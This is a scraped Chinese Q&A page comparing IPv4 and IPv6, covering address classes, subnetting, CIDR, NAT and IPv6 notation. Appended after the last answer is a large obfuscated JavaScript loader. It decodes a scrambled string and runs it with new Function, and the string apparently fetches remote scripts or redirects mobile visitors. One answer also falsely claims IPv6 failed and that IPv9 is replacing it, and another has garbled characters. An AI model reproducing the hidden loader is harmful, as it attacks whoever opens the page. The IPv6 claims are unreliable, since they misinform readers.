IP地址的概念以及IPv4与IPv6的区别。

2025-01-20 02:54:50
推荐回答(5个)
回答(1):

IP作为互联网的重要的桥梁,是为计算机网络相互连接进行通信而设计的协议,正是因为有了IP协议,因特网才得以迅速发展成为世界上最大的、开放的计算机通信网络。很多人对IPv4与IPv6有什么区别?不是很了解,接下来详细为大家介绍IPv4与IPv6的区别是什么。

IPV4和IPV6的区别

一、扩展了路由和寻址的能力

IPv6把IP地址由32位增加到128位,从而能够支持更大的地址空间,估计在地球表面每平米有4*10^18个IPv6地址,使IP地址在可预见的将来不会用完。

IPv6地址的编码采用类似于CIDR的分层分级结构,如同电话号码。简化了路由,加快了路由速度。在多点传播地址中增加了一个“范围”域,从而使多点传播不仅仅局限在子网内,可以横跨不同的子网,不同的局域网。

二、报头格式的简化

IPv 4报头格式中一些冗余的域或被丢弃或被列为扩展报头,从而降低了包处理和报头带宽的开销。虽然IPv6的地址是IPv4地址的4倍。但报头只有它的2倍大。

三、对可选项更大的支持

IPv6的可选项不放入报头,而是放在一个个独立的扩展头部。如果不指定路由器不会打开处理扩展头部.这大大改变了路由性能。IPv6放宽了对可选项长度的严格要求(IPv4的可选项总长最多为40字节),并可根据需要随时引入新选项。IPV6的很多新的特点就是由选项来提供的,如对IP层安全(IPSEC)的支持,对巨报(jumbogram)的支持以及对IP层漫游(Mobile-IP)的支持等。

四、QoS的功能

因特网不仅可以提供各种信息,缩短人们的距离.还可以进行网上娱乐。网上VOD现正被商家炒得热火朝天,而大多还只是准VOD的水平,且只能在局域网上实现,因特网上的VOD都很不理想.问题在于IPv4的报头虽然有服务类型的字段,实际上现在的路由器实现中都忽略了这一字段。

在IPv6的头部,有两个相应的优先权和流标识字段,允许把数据报指定为某一信息流的组成部分,并可对这些数据报进行流量控制。如对于实时通信即使所有分组都丢失也要保持恒速,所以优先权最高,而一个新闻分组延迟几秒钟也没什么感觉,所以其优先权较低。IPv6指定这两字段是每一IPv6节点都必须实现的。

五、身份验证和保密

在IPv6中加入了关于身份验证、数据一致性和保密性的内容。

六、安全机制IPSec是必选的

IPv4的是可选的或者是需要付费支持的。

七、加强了对移动设备的支持

IPv6在设计之初有有着支持移动设备的思想,允许移动终端在切换接入点时保留相同的IP地址。

八、支持无状态自动地址配置

IPv6无需DNS服务器也可完成地址的配置,路由广播地址前缀,各主机根据自己MAC地址和收到的地址前缀生成可聚合全球单播地址。这也方便了某一区域内的主机同时更换IP地址前缀。

回答(2):

IPv4地址基本概念

  Internet依靠TCP/IP协议,在全球范围内实现不同硬件结构、不同操作系统、不同网络系统的互联。在Internet上,每一个节点都依靠惟一的IP地址互相区分和相互联系。每个
IP地址都包含两部分�网络ID和主机ID。网络ID标识在同一个物理网络上的所有宿主机,主机ID标识该物理网络上的每一个宿主机,于是整个Internet上的每台计算机都依靠各自惟一的IP地址来标识。IP地址构成了整个Internet的基础,从网络的层次结构考虑,一个IP地址必须指明两点:

  1.属于哪个网络

  2.是这个网络中的哪台主机

  于是,IP地址的格式为:网络号、主机号。

  一.IP地址的类型及其表示

  目前因特网使用的地址都是IPv4地址,32比特,通常用4个点分十进制数表示,如:202.112.14.1。它主要由两部分组成:一部分是用于标识所属网络的网络地址;另一部分是用于标识给定网络上的某个特定的主机的主机地址。为了给不同规模的网络提供必要的灵活性,IP的设计者将IP地址空间划分为几个不同的地址类别,地址类别的划分就针对于不同大小规模的网络。

  A类网:网络号为1个字节,定义最高比特为0,余下7比特为网络号,主机号则有24比特编址。用于超大型的网络,每个网络有16777216(224)台主机(边缘号码如全“0”或全“1”的主机有特殊含义,这里没有考虑)。全世界总共有128(27)个A类网络,早已被瓜分完了。

  B类网:网络号为2字节,定义最高比特为10,余下14比特为网络号,主机号则可有16比特编址。B类网是中型规模的网络,总共有16384(214)个网络,每个网络有65536(216)台主机(也忽略边缘号码)。

  C类网:网络号为3字节,定义最高三比特为110,余下21比特为网络号,主机号仅有8比特编址。C类地址适用的就是较小规模的网络了,总共有2097152(221)个网络号码,每个网络有256(2台主机(忽略边缘号码)。

  D类网:不分网络号和主机号,定义最高四比特为1110,表示一个多播地址,即多目的地传输,可用来识别一组主机。

  如何识别一个IP地址的属性?只须从点分法的最左一个十进制数就可以判断其归属。例如,1~126属A类地址,128~191属B类地址,192~223属C类地址,224~239属D类地址。除了以上四类地址外,还有E类地址,但暂未使用。

  对于因特网IP地址中有特定的专用地址不作分配:

  (1)主机地址全为“0”。不论哪一类网络,主机地址全为“0”表示指向本网,常用在路由表中。

  (2)主机地址全为“1”。主机地址全为“1”表示广播地址,向特定的所在网上的所有主机发送数据报。

  (3)四字节32比特全为“1”。若IP地址4字节32比特全为“1”,表示仅在本网内进行广播发送。

  (4)网络号127。TCP/IP协议规定网络号127不可用于任何网络。其中有一个特别地址:127.0.0.1称之为回送地址(Loopback),它将信息通过自身的接口发送后返回,可用来测试端口状态。

  二.IP地址与路由的关系

  为了提高IP地址使用效率及路由效率,在基础的IP地址分类上对IP编址进行了相应改进。

  1.子网编址

  一般地,32位的IP地址被分为两部分,即网络号和主机号。为提高IP地址的使用效率,子网编址的思想是将主机号部分进一步划分为子网号和主机号,即这种模式:网络号子网号主机号。

  在原来的IP地址模式中,网络号部分就标识一个独立的物理网络�引入子网模式后,网络号部分加上子网号才能全局惟一地标识一个物理网络。子网编址使得IP地址具有一定的内部层次结构,这种层次结构便于IP地址分配和管理。它的使用关键在于选择合适的层次结构——如何既能适应各种现实的物理网络规模,又能充分地利用IP地址空间�即从何处分隔子网号和主机号 。

  2.子网路由

  在子网编址模式下,仅凭地址类别提取地址的网络号和主机号将是不正确的,而必须在路由表的每一个表目中加入子网掩码,于是子网编址模式下的路由表条目变为:{目的网络地址,子网掩码,下一路由器地址},这样可以用子网掩码的设置来区分不同的情况,使路由算法更为简单。子网号的位数是可变的,为了反映有多少位用于子网号,采用子网掩码来区分。二进制表示的掩码是一系列连续的“1”,紧跟着一系列连续的“0”。为“1”的部分代表网络号码,而为“0”的部分代表主机号码。我们以10.0.0.1为例,网络掩码255.0.0.0,这样就把IP地址分成了网络部分10和主机部分0.0.1。于是,每个A、B和C类地址都有一个自然掩码,它是由每类地址的网络和主机部分的确切定义产生的掩码。可以根据掩码和IP地址计算出子网:子网号=子网掩码与IP地址做逻辑“与”运算的结果。

  3.VLSM可变长子网掩码

  VLSM(Variable Length Subnet Mask�可变长子网掩码),这是一种产生不同大小子网的网络分配机制,指一个网络可以配置不同的掩码。开发可变长度子网掩码的想法就是在每个子网上保留足够的主机数的同时,把一个网分成多个子网时有更大的灵活性。如果没有VLSM,一个子网掩码只能提供给一个网络。这样就限制了要求的子网数上的主机数。

  VLSM技术对高效分配IP地址(较少浪费)以及减少路由表大小都起到非常重要的作用。但是需要注意的是使用VLSM时,所采用的路由协议必须能够支持它,这些路由协议包括RIP2,OSPF,EIGRP和BGP。

  4.CIDR无类别编址

  1992年引入了CIDR,它意味着在路由表层次的网络地址“类”的概念已经被取消,代之以“网络前缀”的概念。Internet中的CIDR�Classless Inter-Domain Routing�无类别域间路由 的基本思想是取消地址的分类结构,取而代之的是允许以可变长分界的方式分配网络数。它支持路由聚合,可限制Internet主干路由器中必要路由信息的增长。IP地址中A类已经分配完毕,B类也已经差不多了�剩下的C类地址已经成为大家瓜分的目标。显然�对于一个国家、地区、组织来说分配到的地址最好是连续的�那么如何来保证这一点呢?于是提出了CIDR的概念。CIDR是Classless Inter Domain Routing的缩写�意为无类别的域间路由。“无类别”的意思是现在的选路决策是基于整个32位IP地址的掩码操作。而不管其IP地址是A类、B类或是C类,都没有什么区别。它的思想是:把许多C类地址合起来作B类地址分配。采用这种分配多个IP地址的方式,使其能够将路由表中的许多表项归并�summarization 成更少的数目。

  5.专用地址和网络地址的转换(NAT)

  为了减慢IP地址分配的进程,鉴别不同的通需要,并有根据地分配IP地址是很重要的。大多数组织的连通需要可以分为以下类别:全球连通性和专用连通性(总体的或局部的)。

  �1�全球连通性。

  全球连通性意味着组织内部的主机既能连通内部主机又能连通因特网主机。在这种情况下,主机必须配置组织内和组织外都可识别的全球惟一的IP地址,要求全球连通性的组织必须向其服务提供者申请IP地址。

  �2�专用连通性。

  专用连通性意味着组织内部主机只能连通内部主机,不能连通因特网主机。专用主机需要一个组织内部惟一的IP地址,但没有必要在组织外也是惟一的。对于这种连通性,IANA为所谓的“专用因特网”保留了下列三块IP地址空间:

  10.0.0.0到10.255.255.255(一个单独A类网络号码)

  172.16.0.0到172.31.255.255(16个相邻的B类网络号)

  192.168.0.0到192.168.255.255(256个相邻的C类网络号)

  企业可以不经IANA或因特网登记处的允许就从上述范围内选择自己的地址。取得专用IP地址的主机能和组织内部任何其他主机连接,但是如果不经过一个代理网关就不能和组织外的主机连接。这是因为离开公司的IP数据包将有一个源IP地址,它在公司外会被混淆,于是外部主机难以回答。因为多个建立专用网络的公司可以使用相同的IP地址,于是就可以少分配一些全球惟一的IP地址。

  �3�网络地址转换器(NAT)

  地址转换,即NAT功能,就是指在一个组织网络内部,根据需要可以使用私有的IP地址(不需要经过申请),在组织内部,各计算机间通过私有IP地址进行通讯,而当组织内部的计算机要与外部internet网络进行通讯时,具有NAT功能的设备负责将其私有IP地址转换为公有IP地址,即用该组织申请的合法IP地址进行通信。简单地说,NAT就是通过某种方式将IP地址进行转换。Cisco系统提出了这个办法,作为运行在其路由器上的Cisco互连网络操作系统(ISO)TM软件的一部分。

  NAT设置可以分为静态地址转换、动态地址转换、复用动态地址转换。

  静态地址转换

  静态地址转换将内部本地地址与内部合法地址进行一对一的转换,且需要指定和哪个合法地址进行转换。如果内部网络有E-mail服务器或FTP服务器等可以为外部用户共用的服务,这些服务器的IP地址必须采用静态地址转换,以便外部用户可以使用这些服务。

  动态地址转换

  动态地址转换也是将本地地址与内部合法地址一对一的转换,但是是从内部合法地址池中动态地选择一个末使用的地址对内部本地地址进行转换。

  复用动态地址转换

  复用动态地址转换首先是一种动态地址转换,但是它可以允许多个内部本地地址共用一个内部合法地址。只申请到少量IP地址但却经常同时有多于合法地址个数的用户上外部网络的情况,这种转换极为有用。

  下一代IP地址(IPv6)

  我们可以根据规范和经验申请更多的地址,可以合理地分配IP地址,可以用CIDR和NAT技术减缓对IP地址的使用,但是随着互连网发展速度的不断加快,无论是CIDR技术还是NAT转换技术,或者加快加紧申请地址的步伐,都无法阻止IPv4地址资源的耗尽,对下一代IP协议中足够大的IP地址空间的要求已迫在眉睫。为了满足互联网日益膨胀的地址需求,IETF(Internet Engineering Task Force,互联网工程专门工作组)提出了IP协议的下一版本IPv6。这是现今很热门的话题。Ipv6到底是怎么一回事,它与Ipv4相比优越进步在哪了呢。IPv6地址是128位的,地址空间包含的准确地址数为340�282�366�920�938�463�374�607�431�768�211�456个。如此巨大的地址空间足够为地球上的每一粒砂子分配一个独立的IP地址,如果投入使用,在一个可以预想的时间内,将不会出现地址短缺的状况。除了拥有巨大的地址空间外,对比IPv4而言,IPv6协议可提供满足新的应用的性能和安全性:相对较少的报头和固定的报头长度使路由器的硬件实现更加简单,减少了路由负担,从而提高网络效率;同时IPv6有足够的长度使得能在基本报头的后面放置扩展报头,提供包括安全性在内的其他功能。

  1.IPv6地址的表示方法

  IPv6地址的表示采用16进制的表示方法。将128比特分为8组,每组16比特,用4个16进制数表示,各组之间用“:”隔开,每组中最前面的0可以省略,但每组必须得有一个数,如:

  FEDC�BA98�7654�3210�FEDC�BA98�7654�3210

  1080�0�0�0�8�800�200C�417A

  在IPv6地址段中有时会出现连续的几组0,这时这些0可以用“��”代替,但一个地址中只能出现一次“��”。如:

  1080�0�0�0�8�800�200C�417A=1080��8�800�200C�417A

  FF01�0�0�0�0�0�0�101=FF01��101

  0�0�0�0�0�0�0�1=��1

  某些情况下,IPv4地址需要包含在IPv6地址中,这时,最后两组用现在习惯使用的IPv4的十进制表示方法,前六组表示方法同上,如:0�0�0�0�0�0�61.1.133.1或��61.1.133.1

  2.IPv6地址的类型

  同IPv4地址一样,IPv6也被划分为若干种类型,主要有:

  1 单播地址(unicast)

  该地址标识某一单个接口。发往单播地址的包将被传送到该地址指向的接口。

  2 任播地址(anycast)

  该地址标识属于不同节点的一组接口。发往任播地址的包将被传送到该地址标识的某一个接口,通常是路由协议计算出的最近的那个接口。

  3 组播地址(multicast)

  同样该地址标识属于不同节点的一组接口。但发往组播地址的包将被传送到该地址标识的所有接口。

  3.IPv4过渡到IPv6的方法

  大体有以下四种:基于IPv4的IPv6隧道、双IP支持、IPv6和IPv4的互相翻译、主机和路由器逐步过渡到IPv6。使用IPv6的通信服务形态大体分为以下3种:

  �1 隧道型是将IPv6数据包使用封装技术旁路�By pass IPv4网络,然后接驳用户的IPv6网络与IPv6主干网络的方法。

  �2 本地型则是完全不经过IPv4而只接驳IPv6的服务。

  �3 翻译型是指可以从IPv6网络接驳到因特网等IPv4网络的服务。

  在隧道型接驳实验中,用户可以设置为具有IPv4和IPv6两种协议栈通道�Stack 的双通道而接驳因特网,不过此时使用的其实是IPv4。如果长此以往,IPv6将无法跨出“实验用协议”的门槛。而另一方面,由于翻译型实验服务可以从只有IPv6的网络访问因特网,因此可以从只是基于IPv6建立的网络利用实用性较高的IPv4网络资源。当末端网络中不再需要IPv4时,将可以极大地加速实现全面过渡到IPv6的过程。

  结束语

  IP地址是重要的网络资源,在我们的网络中不能缺少,也不能太少。从大的角度说,中国随着互连网络的发展,对IP地址资源的要求会越来越高,中国电信集团公司也不断地制定各种管理办法让IP地址使用地更加合理、规范,申请的步伐更加迅速。专家预计在2005年全世界的IPv4的地址将全部瓜分完毕。现在包括日本、美国等一些国家都在研究IPv6,技术上从IPv4向IPv6过渡应当没有什么问题,但整个IPv6的实施将会是一个漫长的过程。尽管IPv6拥有足够大的地址空间以及一些已经看到的和无法预知的优点和性能,但它仍然是一种很不成熟的协议。我国是互联网发展最快的国家之一,也将成为互联网用户最多的国家。因此,对IP地址的需求也是最多的。随着剩余IP地址的逐渐减少,申请IP地址将会更加困难。我们应该,合理分配应用现有的IP地址,进一步加大IP地址管理和申请的工作力度,避免因IP地址的短缺而影响网络工程建设和互联网业务的发展,为中国电信的网络发展添砖加瓦!地址模式中,网络号部分就标识。

回答(3):

(1) IPv4可提供4,294,967,296个地址,IPv6将原来的32位地址空间增大到128位,数目是2的128次方。能够对地球上每平方米提供6×1023个网络地址,在可预见的将来是不会耗尽的。   
(2) IPv4 使用地址解析通讯协议 (ARP) ,IPv6使用用多点传播 Neighbor Solicitation 消息取代地址解析通讯协议 (ARP) 。   
(3) IPv4 中路由器不能识别用于服务质量的QoS 处理的 payload。IPv6中路由器使用 Flow Label 字段可以识别用于服务质量的 QoS 处理的 payload。      
(4) IPv4的回路地址为: 127.0.0.1,IPv6的回路地址为 : 000:0000:0000:0000:0000:0000:0000:0001 可以简写为 ::1。   
(5) 在IPv4中,动态主机配置协议( Dynamic Host ConfigurationProtocol,DHCP)实现了主机IP地址及其相关配置的自动设置。一个DHCP服务器拥有一个IP地址池,主机从DHCP服务器租借IP地址并获得有关的配置信息(如缺省网关、DNS服务器等),由此达到自动设置主机IP地址的目的。IP v6继承了IPv4的这种自动配置服务,并将其称为全状态自动配置(stateful autoconfiguration)。 m.pcwenku.com 供稿   
(6) IPv4使用 Internet 群组管理通讯协议 (IGMP) 管理本机子网络群组成员身份,IPv6使用 Multicast Listener Discovery (MLD) 消息取代 IGMP。   
(7) 内置的安全性。IPSec由IETF开发是确保秘密、完整、真实的信息穿越公共IP网的一种工业标准。IPsec不再是IP协议的补充部分,在IPv6中IPsec是IPv6自身所具有的功能。IPv4选择性支持IPSec,IPv6自动支持IPSec。   
(8) 更好的QoS支持。QoS是网络的一种安全机制,通常情况下不需要QoS,但是对关键应用和多媒体应用就十分必要。当网络过载或拥塞时,QoS 能确保重要业务量不受延迟或丢弃,同时保证网络的高效运行。在IPv6 的包头中定义了如何处理与识别传输, IPv6 包头中使用 Flow Label 来识别传输,可使路由器标识和特殊处理属于一个流量的封包。流量是指来源和目的之间的一系列封包,因为是在 IPv6 包头中识别传输,所以即使透过 IPSec 加密的封包 payload,仍可实现对 QoS 的支持。

回答(4):

是英文 Internet Protocol的缩写,意思是“网络之间互连的协议”,也就是为计算机网络相互连接进行通信而设计的协议。在因特网中,它是能使连接到网上的所有计算机网络实现相互通信的一套规则,规定了计算机在因特网上进行通信时应当遵守的规则。任何厂家生产的计算机系统,只要遵守 IP协议就可以与因特网互连互通。正是因为有了IP协议,因特网才得以迅速发展成为世界上最大的、开放的计算机通信网络。因此,IP协议也可以叫做“因特网协议”。
IPV4的IP地址数量为2的32次方,即IPv4是32位地址结构。因为这些地址已经快不够用了,所以开发了IPV6,ipv6为128位地址空间,很经典的说法是,如果普及了ipv6,地球上每一粒沙子都可以拥有一个IP地址,不过IPV6由于各方面的原因已经胎死腹中,试运行了一段时间,发现效果并不理想,使用效率还是不如ipv4,因此现在又在ipv9的研发中了,为的就是解决ipv6出现的一些问题。

回答(5):

IPv4 2进制32位IPv6 2进制128位 可以扩展

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();